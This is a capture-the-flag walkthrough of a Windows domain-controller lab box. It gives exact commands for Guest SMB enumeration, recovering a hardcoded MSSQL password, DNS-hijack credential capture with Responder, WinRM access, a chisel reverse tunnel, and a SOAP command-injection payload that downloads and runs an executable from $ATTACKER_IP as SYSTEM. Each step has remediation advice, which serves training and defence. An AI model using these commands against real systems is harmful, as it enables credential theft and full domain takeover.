← all walkthroughs

Overwatch

Windows· Medium· Credential Access· Privilege Escalation
owned
2026-09-05
time to own
33m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I used SMB Guest access to pull a monitoring binary from a share, decompiled it to recover a hardcoded MSSQL service-account password, and used that account's database access to find a linked server. Redirecting the linked server's DNS record to my own host forced it to authenticate over the network, leaking a second, more privileged account's password in cleartext.

That account had WinRM rights for an interactive shell and the user flag. From there, a local monitoring service running as SYSTEM but reachable only from localhost was tunneled out and abused via a command-injection flaw in its process-management API, yielding a SYSTEM shell and the root flag — a full compromise of the domain controller.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <sqlmgmt-password> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1Initial AccessAnonymous/Guest SMB share enumeration (MITRE T1135)
Used SMB Guest access to pull a monitoring binary and its config
The target, a Windows Active Directory Domain Controller (overwatch.htb), denied null SMB sessions but accepted the built-in Guest account with a blank password. Guest access exposed a 'software$' share containing a Monitoring folder with a deployed .NET application (overwatch.exe, its .config, and PDB).
Guest SMB access lists software$ (alongside ADMIN$/C$/IPC$/NETLOGON/SYSVOL); software$\Monitoring contained overwatch.exe.
Exact commands 2
shell

Confirm Guest authentication succeeds and enumerate shares.

$ netexec smb $TARGET -u guest -p ''
shell

Spider all readable shares and download files, including software$\Monitoring\overwatch.exe.

$ netexec smb $TARGET -u guest -p '' -M spider_plus -o DOWNLOAD_FLAG=true
FixDisable Guest/anonymous SMB access to internal sharesMedium
WeaknessThe Guest account, with no password, could authenticate over SMB and list/read a share ('software$') holding an internal deployment package, giving an unauthorised user a foothold artifact.
FixDisable the built-in Guest account domain-wide (Computer Configuration > Security Options > 'Accounts: Guest account status' = Disabled), ensure 'Network access: Let Everyone permissions apply to anonymous users' is disabled, and restrict share ACLs on software$ to the specific service/admin groups that need it.
2Credential AccessCredentials in files / hardcoded secrets (MITRE T1552.001)
Decompiled the .NET binary to recover a hardcoded MSSQL password
Overwatch.exe was a .NET assembly. Decompiling it (or reading its app.config) recovered a hardcoded MSSQL connection string containing plaintext credentials for the domain account OVERWATCH\sqlsvc.
Sqlsvc's password confirmed as a valid overwatch.htb domain credential.
Exact commands 2
shell

Decompile the assembly to C# source.

$ ilspycmd -p overwatch.exe -o ./decompiled
shell

Alternative: pull the connection string directly from the app config.

$ strings overwatch.exe.config | grep -i 'connectionstring\|password'
FixRemove hardcoded credentials from deployed application binaries/configsHigh
WeaknessThe Monitoring application's config embedded a plaintext MSSQL connection string with the sqlsvc password, so anyone who could read the deployed binary recovered a working domain credential.
FixNever store credentials in app.config or source; use Windows Integrated/Kerberos authentication for the SQL connection, or pull the secret at runtime from a managed vault (Windows Credential Manager, Azure Key Vault, gMSA). Rotate the sqlsvc password now that it is exposed.
3Lateral MovementMSSQL Windows authentication + linked-server enumeration
Connected to MSSQL as sqlsvc and found a linked server
The recovered sqlsvc credential authenticated to a non-standard MSSQL instance on port 6520 (S200401\SQLEXPRESS) via Windows auth, landing as a low-privileged 'guest' in master. Enumerating server links revealed a linked server named SQL07, which the local instance can query on my behalf.
SQL (OVERWATCH\sqlsvc guest@master) ... $TARGET:6520 is Microsoft SQL Server 2022 RTM, instance S200401\SQLEXPRESS; linked server SQL07 (SQLNCLI/SQL Server) confirmed.
Exact commands 2
shell

Authenticate to the non-default MSSQL port with the recovered domain credential.

$ mssqlclient.py -windows-auth "OVERWATCH/sqlsvc:$PASSWORD@$TARGET" -port 6520
shell

Run inside the mssqlclient.py SQL prompt to list linked servers; returns SQL07.

$ enum_links
4Credential AccessAD-integrated DNS record hijack + MSSQL linked-server cleartext auth capture (MITRE T1557)
Spoofed the linked server's DNS name to capture its cleartext credential
The SQL07 link authenticates in cleartext when the local instance connects to it. Sqlsvc had LDAP write access to the AD-integrated DNS zone, so I repointed the SQL07 A record at my own host and stood up Responder's MSSQL listener, then forced the local SQL instance to resolve and authenticate to SQL07 via OPENQUERY. The captured login was the more privileged 'sqlmgmt' account, in plaintext.
BloodyAD: '[+] SQL07 has been successfully added'; OPENQUERY([SQL07]) forced an outbound auth attempt ('Communication link failure'); Responder captured sqlmgmt / <password> from $TARGET.
Exact commands 3
shell

Point the SQL07 DNS name at my tun0 IP ($ATTACKER_IP).

$ bloodyAD --host $TARGET -d overwatch.htb -u sqlsvc -p "$PASSWORD" add dnsRecord SQL07 $ATTACKER_IP
shell

Start Responder to catch the MSSQL cleartext auth on the redirected name.

$ sudo responder -I tun0
shell

Run inside the mssqlclient.py session as sqlsvc to force the link to resolve and authenticate to me.

$ SELECT * FROM OPENQUERY([SQL07],'select 1');
FixRestrict dynamic DNS updates and eliminate cleartext linked-server authenticationCritical
Weaknesssqlsvc could write arbitrary records into the AD-integrated DNS zone, letting an unauthorised user repoint a trusted linked-server name at their own host; the SQL linked-server link then authenticated to that host in plaintext, leaking the more privileged sqlmgmt credential.
FixRestrict the DNS zone to secure-only dynamic updates and limit which principals can create/modify records (remove generic write from service accounts). On the SQL Server side, reconfigure the SQL07 linked server to use encrypted connections (Force Encryption / TLS) and avoid 'save my login and password' credential mappings that send secrets in cleartext.
5Foothold / User FlagCredential reuse over WinRM (MITRE T1021.006)
Logged in as sqlmgmt over WinRM and captured user.txt
The sqlmgmt credential captured via Responder was valid for WinRM, giving an interactive PowerShell session on the domain controller. Sqlmgmt's desktop held the user flag.
Get-Content C:\Users\sqlmgmt\Desktop\user.txt executed successfully.
Exact commands 3
shell

Confirm WinRM access (expect Pwn3d!).

$ netexec winrm $TARGET -u sqlmgmt -p '<sqlmgmt-password>'
shell

Open an interactive shell as sqlmgmt.

$ evil-winrm -i $TARGET -u sqlmgmt -p '<sqlmgmt-password>'
shell

Read the user flag; replace with <user.txt>.

$ type C:\Users\sqlmgmt\Desktop\user.txt
6Privilege EscalationCommand injection in a SYSTEM-level WCF/SOAP service (CWE-78)
Tunneled a loopback-only monitoring service and abused command injection to reach SYSTEM
Sqlmgmt was not local admin (WMI/scheduled-task execution was denied), but a .NET/WCF monitoring service was listening on TCP 8000, bound only to loopback. Injecting a payload in processName executed arbitrary commands as NT AUTHORITY\SYSTEM, the account the service runs as.
Sqlmgmt lacked local admin (rpc_s_access_denied on WMI/atexec), forcing use of the local monitoring service rather than remote admin execution; root flag was subsequently captured from the Administrator desktop.
Exact commands 6
shell

Run on my host to accept the reverse tunnel.

$ chisel server -p 9003 --reverse
shell

Run inside the sqlmgmt evil-winrm session to expose the loopback service locally on my box.

$ ./chisel.exe client $ATTACKER_IP:9003 R:8000:127.0.0.1:8000
shell

$ curl http://127.0.0.1:8000/MonitorService?wsdl
shell

Inject a command via the processName parameter; runs as SYSTEM. Have a listener (e.g. Nc -lvnp 9000 serving s.exe, or a Netcat/Meterpreter catcher) ready first.

$ curl -X POST http://127.0.0.1:8000/MonitorService -H 'Content-Type: text/xml' -d '<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><KillProcess xmlns="http://tempuri.org/"><processName>x ; powershell -c "iwr http://'"$ATTACKER_IP"':9000/s.exe -outfile C:\\Windows\\Temp\\s.exe; C:\\Windows\\Temp\\s.exe" #</processName></KillProcess></soap:Body></soap:Envelope>'
shell

Run in the resulting shell to prove SYSTEM before reading the flag (expect nt authority\system).

$ whoami
shell

Read the root flag; replace with <root.txt>.

$ type C:\Users\Administrator\Desktop\root.txt
FixFix command injection in the local monitoring service and reduce its privilegeCritical
Weakness
FixNever build process/command strings from unsanitized input — use parameterized process-start APIs (System.Diagnostics.Process with argument lists, not shell concatenation) and validate processName against an allow-list. Additionally, run the monitoring service under a dedicated low-privilege service account instead of SYSTEM.

Exposed services

53/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
3269/tcp
3389/tcp
5985/tcp
6520/tcp
9389/tcp
49664/tcp
49668/tcp
57985/tcp
63086/tcp
63087/tcp
63094/tcp
63110/tcp
53/udp